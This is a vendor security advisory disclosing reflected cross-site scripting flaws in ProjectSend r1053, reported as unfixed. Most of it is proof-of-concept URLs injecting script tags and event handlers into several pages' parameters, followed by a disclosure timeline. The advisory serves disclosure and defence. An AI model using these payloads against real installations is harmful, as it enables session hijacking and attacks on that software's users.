Multiple Cross-site Scripting Vulnerabilities in ProjectSend r1053
Information
Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting Vulnerabilities in ProjectSend r1053
Affected Software: ProjectSend
Affected Versions: r1053
Homepage: https://www.projectsend.org/
Vulnerability: Reflected Cross-site Scripting
Severity: High
Status: Not Fixed
CVSS Score (3.0): 6.3
Invicti Advisory Reference: NS-18-061
Technical Details
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/actions-log.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00773F)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00773F)</scRipt>=nsextt
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/actions-log.php?select_all=3&batch%5b%5d=4969&page=x%22%20onmouseover%3dalert(0x0075D5)%20x%3d%22&action=none
Parameter Name: page
Parameter Type: GET
Attack Pattern: x%22%20onmouseover%3dalert(0x0075D5)%20x%3d%22
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/actions-log.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001890)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001890)%3C/scRipt%3E
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?action=edit&id=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004CF0)%3C/scRipt%3E
Parameter Name: id
Parameter Type: GET
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004CF0)%3C/scRipt%3E
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?page=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00BB7B)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00BB7B)</scRipt>=nsextt
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?page=x%22%20onmouseover%3dalert(0x00A21E)%20x%3d%22
Parameter Name: page
Parameter Type: GET
Attack Pattern: x%22%20onmouseover%3dalert(0x00A21E)%20x%3d%22
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001602)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001602)%3C/scRipt%3E
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005F9D)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005F9D)%3C/scRipt%3E=nsextt
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0017E6)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0017E6)%3C/scRipt%3E
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients-requests.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005FCD)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005FCD)%3C/scRipt%3E=nsextt
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients-requests.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAB)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAB)%3C/scRipt%3E
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/groups.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0075D7)%3C/scRipt%3E=nsext
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0075D7)%3C/scRipt%3E=nsextt
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/groups.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001830)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001830)%3C/scRipt%3E
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/manage-files.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CA9)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CA9)%3C/scRipt%3E
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/manage-files.php?%27=&action=none&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00C9C8)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00C9C8)%3C/scRipt%3E=nsextt
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/my_files/?client=Smith&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005572)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005572)%3C/scRipt%3E=nsextt
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/my_files/?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0054DE)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0054DE)%3C/scRipt%3E
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/upload-import-orphans.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAA)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAA)%3C/scRipt%3E
URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/upload-import-orphans.php?%27=&search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00CB6C)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00CB6C)%3C/scRipt%3E=nsextt
For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
Advisory Timeline
21th December 2018- First Contact
31st January 2019 – Details Sent
20th February 2019 – Last Attempt to Contact
4th March 2019 – Advisory Released
Credits & Authors
These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.
About Invicti
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.